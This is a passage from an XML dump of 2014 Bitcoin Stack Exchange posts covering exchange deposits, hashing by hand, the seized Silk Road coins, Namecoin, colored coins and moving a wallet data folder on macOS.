rel=&quot;nofollow&quot;&gt;http://blog.richardkiss.com/?p=371&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12149" LastActivityDate="2015-09-22T13:54:02.637" Title="Does the 256-bit integer secret exponent define the X, Y pair?" Tags="|address|address-generation|base58|secp256k1|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21028" PostTypeId="1" CreationDate="2014-01-23T20:35:01.640" Score="-1" ViewCount="730" Body="&lt;p&gt;The 21st of January I made a deposit from my Multibit wallet to Cryptsy. The amount was 0,43 bitcoin but this never arrived at my Cryptsy account. I have made deposits before and after and everything went fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the information from blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/tx-index/ec0e3469720c4f4fad2353b798d051af81583205838753a8ad3c2ea960b25282&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx-index/ec0e3469720c4f4fad2353b798d051af81583205838753a8ad3c2ea960b25282&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody know what to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12607" LastActivityDate="2014-01-24T00:00:06.767" Title="Bitcoin deposit doesnt show up" Tags="|cryptsy|" AnswerCount="2" CommentCount="5" ClosedDate="2014-02-02T13:21:22.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="21029" PostTypeId="2" ParentId="21002" CreationDate="2014-01-23T21:03:20.787" Score="3" Body="&lt;p&gt;&lt;strong&gt;You can not make debts&lt;/strong&gt; (no negativ values on your Bitcoin account). Liabilities are a major cause of poverty. At least in large scale (for countries having debts it is difficult to become rich).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the same reason: &lt;strong&gt;No &lt;a href=&quot;https://en.wikipedia.org/wiki/Fractional_reserve_banking&quot; rel=&quot;nofollow&quot;&gt;fractional reserve banking&lt;/a&gt;&lt;/strong&gt; possible with bitcoin (well, that only if the banks use the bitcoin system internally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am no economist. Just a few quick ideas.&lt;/p&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="11997" LastEditDate="2014-01-28T22:42:39.497" LastActivityDate="2014-01-28T22:42:39.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21030" PostTypeId="1" AcceptedAnswerId="21033" CreationDate="2014-01-23T21:49:04.203" Score="14" ViewCount="1907" Body="&lt;p&gt;Which and how much mathematical operations are required for the blockheader-to-blockhash operation and how fast would a human be able to calculate a single hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: For simplicity, I think it's a good idea to use the world record for mathematical calculations to make it a little more fair.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2016-02-15T18:05:03.053" LastActivityDate="2016-02-15T18:05:03.053" Title="What is the approximate hashrate of a human?" Tags="|hashpower|mining-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21031" PostTypeId="2" ParentId="13550" CreationDate="2014-01-23T21:51:21.980" Score="10" Body="&lt;p&gt;The bitcoins will be sold, but they haven't said precisely how that will happen. Since there is no bitcoin exchange that is properly legally licensed in the US, they will likely auction them off directly, like seized property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoins, if you're interested, are sitting in two very large wallets: one with &lt;a href=&quot;https://blockchain.info/address/1FfmbHfnpaZjKFvyi1okTjJJusN455paPH&quot; rel=&quot;nofollow&quot;&gt;~144K bitcoins&lt;/a&gt; (~US$117.6M right now) and another with &lt;a href=&quot;https://blockchain.info/address/1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX&quot; rel=&quot;nofollow&quot;&gt;~30K bitcoins&lt;/a&gt; (~US$24M), all siezed from Silk Road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is based on the news sources &lt;a href=&quot;http://www.foxnews.com/tech/2014/01/17/feds-to-sell-28-million-in-seized-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;Fox News&lt;/a&gt;, &lt;a href=&quot;http://www.forbes.com/sites/kashmirhill/2014/01/16/the-feds-are-ready-to-sell-the-silk-road-bitcoin-kind-of/&quot; rel=&quot;nofollow&quot;&gt;Forbes&lt;/a&gt;, and &lt;a href=&quot;http://www.wired.com/wiredenterprise/2013/12/fbi_wallet/&quot; rel=&quot;nofollow&quot;&gt;Wired&lt;/a&gt;. What follows is my own opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach makes sense, since bitcoins aren't inherently illegal (thus only useful in sting operations or to be destroyed, like seized drugs), and aren't US cash (and thus sensible to directly deposit in the Treasury). Like all other valuable property, the best way for the government to liquidate them is at auction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this sale happens, the price of bitcoin will likely go down, but will probably be lost in the noise of trading. (Edited. At first I said that it'd be driven down fairly drastically.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update (2014-06-13):&lt;/strong&gt; The smaller chunk of bitcoins, nearly 30K bitcoins (now ~US$18M) seized from Silk Road (including all of the little transactions people have given to it since then) now have an &lt;a href=&quot;http://www.usmarshals.gov/assets/2014/bitcoins/&quot; rel=&quot;nofollow&quot;&gt;auction page&lt;/a&gt; set up on the U.S. Marshals Service website: they'll be sold in blocks of 3,000 bitcoins (less for the final block). The actual bidding will occur on June 27th, the fiat money will be wired by July 1st, and I'd expect the coins to be transferred via Bitcoin transactions shortly after. See &lt;a href=&quot;http://www.forbes.com/sites/kashmirhill/2014/06/12/silk-road-bitcoin-on-the-move-as-government-prepares-to-auction-off-18-million-worth/&quot; rel=&quot;nofollow&quot;&gt;Forbes&lt;/a&gt; for a news source talking about this.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-17T13:22:14.817" LastActivityDate="2014-06-17T13:22:14.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21032" PostTypeId="2" ParentId="20781" CreationDate="2014-01-23T21:52:31.187" Score="1" Body="&lt;p&gt;Your problem is that you only get the market data once, then keep displaying the same values.  Move your call to &lt;code&gt;cryptsy.getMarkets()&lt;/code&gt; inside your while loop, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static void main (String [] args) throws CryptsyException, InterruptedException{&#xA;&#xA;      Cryptsy cryptsy = new Cryptsy();&#xA;      cryptsy.setAuthKeys(&quot;&amp;lt;authkey&amp;gt;&quot;, &quot;&amp;lt;authpass&amp;gt;&quot;);&#xA;&#xA;      while(true){&#xA;         markets = cryptsy.getMarkets();&#xA;         for(Market market : markets) {&#xA;            DecimalFormat df = new DecimalFormat(&quot;#.########&quot;);&#xA;            if(market.label.equals(&quot;DOGE/BTC&quot;))&#xA;               System.out.println(market.label + &quot;   &quot; + df.format(market.last_trade) + &quot;   &quot; + market.current_volume );&#xA;         }&#xA;         TimeUnit.SECONDS.sleep(5);&#xA;      }   &#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-01-23T21:52:31.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21033" PostTypeId="2" ParentId="21030" CreationDate="2014-01-23T22:13:49.327" Score="22" Body="&lt;p&gt;The user C121 on r/bitcoin explored this topic in the thread &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1r3wau/mining_bitcoin_by_hand/&quot;&gt;Mining Bitcoin by hand&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He states that it takes 3385 integer operations to calculate one double SHA-256 hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His conclusion was that you would reach &lt;strong&gt;about 0.00003 H/s&lt;/strong&gt;, or in other terms, &lt;strong&gt;it would take about 9.4 hours for one hash&lt;/strong&gt;, assuming the human in question could do a 32-bit operation in 10 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also estimates that you would fill about &lt;strong&gt;seventy pages of paper&lt;/strong&gt; with the calculations per hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;br&gt;&#xA;As Mathias711 pointed out in the comments, Ken Shirriff actually calculated some SHA-256 operations manually and wrote an &lt;a href=&quot;http://www.righto.com/2014/09/mining-bitcoin-with-pencil-and-paper.html&quot;&gt;article about mining bitcoin with pencil and paper&lt;/a&gt;. He arrives at an estimate of &lt;strong&gt;0.67 hashes per day&lt;/strong&gt;, at a vastly uncompetitive energy consumption. ;)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-30T09:06:36.740" LastActivityDate="2014-09-30T09:06:36.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21034" PostTypeId="2" ParentId="20767" CreationDate="2014-01-23T22:23:53.347" Score="2" Body="&lt;p&gt;You can fork Bitcoin Wallet, an SPV implementation of the Bitcoin protocol:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/schildbach/bitcoin-wallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/schildbach/bitcoin-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's GPL licensed.&lt;/p&gt;&#xA;" OwnerUserId="423" LastActivityDate="2014-01-23T22:23:53.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21036" PostTypeId="1" CreationDate="2014-01-23T23:10:22.400" Score="6" ViewCount="357" Body="&lt;p&gt;After I have read &lt;a href=&quot;http://www.coindesk.com/smart-property-colored-coins-mastercoin/&quot;&gt;this article&lt;/a&gt; (Smart Property, Colored Coins and Mastercoin) on coindesk I guess that Namecoin is obsolete. I have read the &lt;a href=&quot;http://dot-bit.org/Use_cases&quot;&gt;possible use cases for Namecoin&lt;/a&gt; and as far as I understand coindesk, it tells that Bitcoin version 0.9 will have the same features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difference: Bitcoin will use 80 Bytes of message data where Namecoin will use 520 Bytes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is that true, that &lt;strong&gt;Bitcoin 0.9&lt;/strong&gt; will have the &lt;strong&gt;same features Namecoin has?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Will Namecoin still have any special quality compared to Bitcoin, that justifies Namecoins’ continued existence?&#xA;Or in other words: Is the &lt;strong&gt;low value&lt;/strong&gt; (compared to Bitcoins) of Namecoins &lt;strong&gt;the only advantage over Bitcoins,&lt;/strong&gt; because messages, notary acts, votings etc. are much cheaper and therefore &lt;strong&gt;only affordable with Namecoin?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="11997" LastEditDate="2014-01-24T13:45:13.283" LastActivityDate="2014-03-18T06:13:48.490" Title="Are Namecoins obsolete with the upcoming Bitcoin 0.9?" Tags="|colored-coins|properties|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21037" PostTypeId="2" ParentId="21022" CreationDate="2014-01-23T23:25:29.373" Score="1" Body="&lt;p&gt;You could imagine that you're selling a car to someone. The key to open the car is tied to your bitcoin address. So only you, owner of the private key for that address, can open and turn on the car.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you sell the car you make a symbolical transaction to the buyer and you configure the car key with the buyer's address, so only s/he can open the car.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The symbolical transaction is actually a colored coin. It's proof that you've sold the car. That proof is also attached to the physical key itself. That proof will forever exist (or at least until bitcoin exists) in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If then they decide to sell the car once more, they can use that same colored coin and make another symbolical transaction. Now the third owner of the car can see the proof of ownership of his car just by looking at the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-01-23T23:25:29.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21038" PostTypeId="2" ParentId="21028" CreationDate="2014-01-23T23:40:25.127" Score="1" Body="&lt;p&gt;Double-check the address that you sent the money to. Then get in touch with the Cryptsy customer service should you find everything else in order.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-01-23T23:40:25.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21039" PostTypeId="2" ParentId="21000" CreationDate="2014-01-23T23:43:42.763" Score="0" Body="&lt;p&gt;There are many reasons why to Google Chrome appears some files as malicious e.g.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is the host site known and trusted? &lt;/li&gt;&#xA;&lt;li&gt;Can the identity of the host site be verified? (e.g. SSL certificate, https) &lt;/li&gt;&#xA;&lt;li&gt;Can the the identity of the file's publisher be verified? (e.g. via code signing certificate) &lt;/li&gt;&#xA;&lt;li&gt;Is the file known and trusted?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But as main reason we can consider not using &lt;code&gt;SSL certificates&lt;/code&gt; or &lt;code&gt;https&lt;/code&gt; url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though you can discard this pop-up and download the file I would recommend you to scan it through antivirus program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience I can say that the cg-miner is safe to use! :)&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2014-01-23T23:43:42.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21040" PostTypeId="2" ParentId="21028" CreationDate="2014-01-24T00:00:06.767" Score="2" Body="&lt;p&gt;As I went a bit to explore your transaction it is obvious that it is going to this wallet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1Ndo4EfFKi8f5jbHXEyuezgK9Mmb6f9uCV&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1Ndo4EfFKi8f5jbHXEyuezgK9Mmb6f9uCV&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that it belongs to Cryptsy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All we can assume from those transactions is that you sent bitcoins to wallet where is a lot of trafic. So it is most likely that its some mistake in Cryptsy confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you can do is get in touch with costumer support.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2014-01-24T00:00:06.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21041" PostTypeId="2" ParentId="20986" CreationDate="2014-01-24T00:06:51.263" Score="1" Body="&lt;p&gt;To send bitcoins from one exchange to another, you simply need to go to your target exchange, and find out what your bitcoin deposit address is.. Once you know that, go to the source exchange and withdraw, or send your bitcoins to the deposit address of your target exchange.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The funds should be over there in about an hour at the most.. Usually they show up much faster than that.  I would suggest you try with a small amount first, until you're comfortable with the process.&lt;/p&gt;&#xA;" OwnerUserId="12614" LastActivityDate="2014-01-24T00:06:51.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21044" PostTypeId="1" AcceptedAnswerId="21114" CreationDate="2014-01-24T01:33:21.927" Score="2" ViewCount="1307" Body="&lt;p&gt;I'm following the instructions on &lt;a href=&quot;http://dot-bit.org/How_To_Browse_Bit_Domains&quot; rel=&quot;nofollow&quot;&gt;http://dot-bit.org/How_To_Browse_Bit_Domains&lt;/a&gt; and I have installed foxy proxy and I have gone to several .bit sites. But all of them I see are exactly the same. All of the .bit sites say the following?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin is a peer-to-peer, alternative distributed Domain Name System based on Bitcoin software. It provides cheap .bit domain names that are not regulated by any central authority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the Namecoin client&#xA;Install the Namecoin client on your computer to access the Namecoin network and register your .bit domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configure your DNS&#xA;Change your DNS settings on your computer or on your whole network to enable access to .bit websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spread the word&#xA;Namecoin is still growing. Use the Facebook and Twitter share buttons on this page to spread the word and help it grow even faster!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have the site owners not put any websites up and I'm seeing the default installation pages? Or have I configured my browser wrong?&lt;/p&gt;&#xA;" OwnerUserId="6017" LastActivityDate="2015-04-21T16:10:35.243" Title="Viewing .bit Domain Names in Firefox" Tags="|namecoin|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21045" PostTypeId="2" ParentId="19278" CreationDate="2014-01-24T01:54:17.710" Score="1" Body="&lt;p&gt;I agree  with most of what @Zergatul said, except for the part about no-one having the private keys for the right-hand addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a classic &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;SendMany&lt;/a&gt;&quot; type of transaction.  From an account in a wallet, a user wants to send about $88,000 in BTC to many different people.  I often see this type of transaction with mining pools who are paying out shares to individual miners, but there are many other possible explanations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, because the sender collected 5 unspent inputs to create the amount of BTC that he/she needed. That's the left hand column. The wallet generally does this automatically when creating a transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the sender specified the different recipients and the amount that should be directed to each.  Those are the right-had addresses.  The Bitcoin protocol puts all of these recipients in a single transaction.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-01-24T01:54:17.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21046" PostTypeId="2" ParentId="21036" CreationDate="2014-01-24T02:10:52.193" Score="5" Body="&lt;p&gt;Well, the fact that it will be possible to implement features similar to Namecoin that it will become obsolete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is intended as a currency and a payment system, while Namecoin is designed specifically as a DNS provider for .bit domain names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that Namecoin would be able to handle .com domain names, doesn't mean the currently employed centralised DNS would become obsolete either. (OK, some may argue it does, but Namecoin is not going to replace centralised DNS providers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin is intended for a very specific goal. Be a decentralised DNS for .bit domains. Existing proxy applications exist to map .bit domain names to IP addresses using the Namecoin network. The fact that it &lt;em&gt;would be possible to replace all those programs with an alternative program using Bitcoin&lt;/em&gt; makes little sense. Why would a payment system take over the functions of a DNS system?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-24T02:10:52.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21047" PostTypeId="2" ParentId="14409" CreationDate="2014-01-24T02:12:35.370" Score="0" Body="&lt;p&gt;I just did it in Windows.  Download Bootstrap.dat, then look for C:\Users\Your Name\AppData\Roaming\Bitcoin and put the file there.  Bitcoin will automatically find it and load from it.  Good luck.&lt;/p&gt;&#xA;" OwnerUserId="12620" LastActivityDate="2014-01-24T02:12:35.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21048" PostTypeId="2" ParentId="11367" CreationDate="2014-01-24T02:36:02.937" Score="6" Body="&lt;p&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Your current folder for your bitcoin data is here:&#xA;&quot;~/Library/Application Support/Bitcoin&quot; or here&#xA;&quot;/Users//Library/Application Support/Bitcoin&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your current folder for your bitcoin-qt application is here:&#xA;/Applications/Bitcoin-qt.app&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have an external drive named &quot;My Passport&quot; and your Finder,&#xA;Preferences setting are set to display Devices.  Select Finder,&#xA;Preferences and tick the box to the left of External disks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To do this on a MAC running OSX 10.9 follow these instructions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open Finder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Finder, using the Finder menu bar, select: Go, Go To Folder... , and type &lt;code&gt;~/Library&lt;/code&gt; and press the RETURN key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Finder, navigate to the &quot;Application Support&quot; folder.  You will see the Bitcoin directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Finder, select, or highlight, this folder, then select: Edit, Copy &quot;Bitcoin&quot; from menu bar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Finder, navigate to your external drive &quot;My Passport&quot;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Finder, create a folder called &quot;Applications&quot; on your &quot;My Passport&quot; external drive (see step &quot;3&quot; above after connecting external drive, if necessary).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Finder, navigate to the newly created &quot;Applications&quot; directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Finder, select edit and paste item to start copying the &quot;Bitcoin&quot; directory to your external drive's &quot;/Volumes/My Passport/Applications/&quot; folder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once this completes and both the &quot;~/Library/Application Support/Bitcoin&quot; and &quot;/Volumes/My Passport/Applications/Bitcoin&quot; folders are identical.  Rename the Bitcoin directory in  &quot;~/Library/Application Support/Bitcoin&quot; to  &quot;~/Library/Application Support/BitcoinOLD&quot;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch Terminal from LaunchPad, Utilities or from Applications in Finder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the Terminal prompt type: &lt;code&gt;cd ~/Library/Application\ Support&lt;/code&gt; Yes, that &quot;\&quot; slash is necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type: &lt;code&gt;ls -laf&lt;/code&gt;, and insure that the Bitcoin directory is now called BitcoinOLD.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Type: &lt;code&gt;ln -s /Volumes/My\ Passport/Applications/Bitcoin/ ./Bitcoin&lt;/code&gt;.  this command actually creates a symbolic link to your external drive.   Yes, that slash &quot;\&quot; just after the &quot;My&quot; is necessary to account for the space in &quot;My Passport&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch Bitcoin-qt from Applications in Finder and let the &quot;Reindexing blocks on disk..&quot; process complete.  It should not be downloading anything until this completes and then will download only those blocks since your last synchronize to the Bitcoin network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once this completes, delete the BitcoinOLD folder using finder. &quot;~/Library/Application Support/BitcoinOLD&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12622" LastEditorUserId="11369" LastEditDate="2014-02-03T09:00:12.227" LastActivityDate="2014-02-03T09:00:12.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21049" PostTypeId="2" ParentId="18341" CreationDate="2014-01-24T02:50:20.423" Score="2" Body="&lt;p&gt;When using the [M] option in the console window and then using [+] to add devices you can type in &quot;all&quot; and this should select the ASIC USB Block Erupters and not the CPU. I had the same issue when I typed in &quot;auto&quot; which directs bfgminer to start looking for devices on your system to use for mining. Try doing [M] then [+] and typing &quot;all&quot; and then [Enter]&lt;/p&gt;&#xA;" OwnerUserId="12623" LastActivityDate="2014-01-24T02:50:20.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21050" PostTypeId="2" ParentId="21018" CreationDate="2014-01-24T03:06:29.030" Score="1" Body="&lt;p&gt;I recommend you try mining with your current hardware first for Litecoin and a less popular altcoin like Yacoin, then look to invest in hardware.  Litecoin is popular enough that it will take you multiple weeks before you earn enough in a Litecoin pool to withdraw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can compare Litecoin hardware output here:&#xA;&lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yacoin is up and coming but is still low in difficulty enough that you can earn enough in a day or two and while using your CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.yacoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.yacoin.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example to put it in perspective, on one of my machines, I mine for Litecoin using my GPU and I also mine for Yacoin using my CPU.  I am getting close to 5 Litecoins mined but I have already mined over 700 Yacoins.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2014-01-24T03:06:29.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21051" PostTypeId="1" CreationDate="2014-01-24T03:48:57.173" Score="1" ViewCount="181" Body="&lt;p&gt;I have a calculator for calculating trade fees for Bitcoin on exchanges (&lt;a href=&quot;http://tradeli.st&quot; rel=&quot;nofollow&quot;&gt;http://tradeli.st&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I get asked a lot to add &quot;shorting&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, for a &quot;long&quot; position. I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BUY 1 BTC @ $100 USD&#xA;SELL .996 BTC @ $200 USD //buy fee is subtraced from sell amount&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I take another .6% out of the sell trade to get total fees (1.2%).&#xA;This all works fine and well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for shorting, (i'm not familiar with fee calculating on a short).&#xA;The order is reversed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELL 1 BTC @ $200 USD //this is what user will enter to start&#xA;BUY ? BTC @ $100 USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The user enters &quot;SELL 1 BTC @ $200&quot;. How should I be subtracting the fees on a short?&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2014-01-24T03:48:57.173" Title="calculate fees for shorting Bitcoin on exchanges" Tags="|exchanges|exchange-fees|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21052" PostTypeId="1" CreationDate="2014-01-24T04:19:40.883" Score="5" ViewCount="519" Body="&lt;p&gt;I am curious if the Bitcoin protocol can incorporate Turing complete scripting capabilities without forking the block chain. I ask this because I understand the ability to create contracts digitally is as significant an development as bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to judge the efficacy of new altcoins like Ethereum to assess the future viability of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your comments!  Also if you are curious as to why I think contracts are so important here is my blog about why contracts are important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peer to Peer Government: Guarding the Guardians&#xA;&lt;a href=&quot;http://statisticaleconomics.org/2014/01/10/peer-to-peer-government-guarding-the-guardians/&quot; rel=&quot;nofollow&quot;&gt;http://statisticaleconomics.org/2014/01/10/peer-to-peer-government-guarding-the-guardians/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11606" LastEditorUserId="121614" LastEditDate="2022-06-04T16:32:28.463" LastActivityDate="2022-06-04T16:32:28.463" Title="Can Bitcoin incorporate the scripting protocols of Ethereum without a fork?" Tags="|script|altcoin|blockchain-fork|ethereum|turing-completeness|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21053" PostTypeId="2" ParentId="20943" CreationDate="2014-01-24T05:56:17.943" Score="5" Body="&lt;p&gt;Upon looking at the source of a number of altcoins I have found that p2sh keys are built into all the ones I checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For P2SH, the first address byte will be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin: '05'&lt;br&gt;&#xA;  litecoin: '05'&lt;br&gt;&#xA;  peercoin: '75'&lt;br&gt;&#xA;  dogecoin: '16'&lt;br&gt;&#xA;  beavercoin: '05'&lt;br&gt;&#xA;  freicoin: '05'&lt;br&gt;&#xA;  protoshares: '05'&lt;br&gt;&#xA;  megacoin: '05'&lt;br&gt;&#xA;  primecoin: '53'&lt;br&gt;&#xA;  auroracoin: '05'  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The tricky bit about this is that you can't nessesarily tell what network a P2SH address belongs to like you can with normal addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I wanted to know is so I could collate the version numbers for my project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://github.com/ryanralph/altcoin-address&quot; rel=&quot;nofollow&quot;&gt;http://github.com/ryanralph/altcoin-address&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10521" 